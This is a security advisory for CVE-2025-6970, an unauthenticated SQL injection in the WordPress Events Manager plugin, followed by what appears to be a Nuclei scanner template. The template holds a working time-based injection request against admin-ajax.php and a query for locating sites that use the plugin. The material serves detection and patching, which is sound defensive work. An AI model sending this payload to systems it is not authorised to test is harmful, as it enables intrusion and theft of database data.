The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
PoC代码[已公开]
id: CVE-2025-6970
info:
name: WordPress Events Manager <= 7.0.3 - SQL Injection
author: iamnoooob,pdresearch
severity: critical
description: |
The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
An attacker can exploit this vulnerability to perform time-based SQL injection attacks, potentially extracting sensitive information from the database including user credentials, personal information, and other confidential data.
remediation: |
Update the Events Manager plugin to version 6.6.5 or 7.0.4 or later which fixes this vulnerability. If immediate update is not possible, consider temporarily disabling the plugin until the fix can be applied.
reference:
- https://wpscan.com/vulnerability/CVE-2025-6970
- https://patchstack.com/database/vulnerability/events-manager/wordpress-events-manager-calendar-bookings-tickets-and-more-plugin-7-0-3-unauthenticated-sql-injection-via-orderby-parameter
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/events-manager/events-manager-703-unauthenticated-sql-injection-via-orderby-parameter
- https://nvd.nist.gov/vuln/detail/CVE-2025-6970
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-6970
cwe-id: CWE-89
epss-score: 0.22243
epss-percentile: 0.95606
cpe: cpe:2.3:a:wp-events-plugin:events_manager:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: wp-events-plugin
product: events_manager
publicwww-query: "/wp-content/plugins/events-manager/"
tags: cve,cve2025,events-manager,sqli,time-based,wordpress,wpscan,wp-plugin,wp
http:
- raw:
- |
@timeout: 30s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=search_events&orderby=1*(select(sleep(8)))
matchers:
- type: dsl
dsl:
- "duration>=8"
- "status_code == 200"
- "contains_all(body, 'em-item-info', 'em-item-title', 'em-item-desc')"
condition: and
# digest: 4a0a00473045022100a02b0cb6f2013ad801ed3be75d59e67f73c6c2d5a6b42ed248f3826d02024c1b022070d3fcc726b0a410d5ccb0c2e49183c08f6e7ee254f8c69c8bd032684a01ddc3:922c64590222798bb761d5b6d8e72950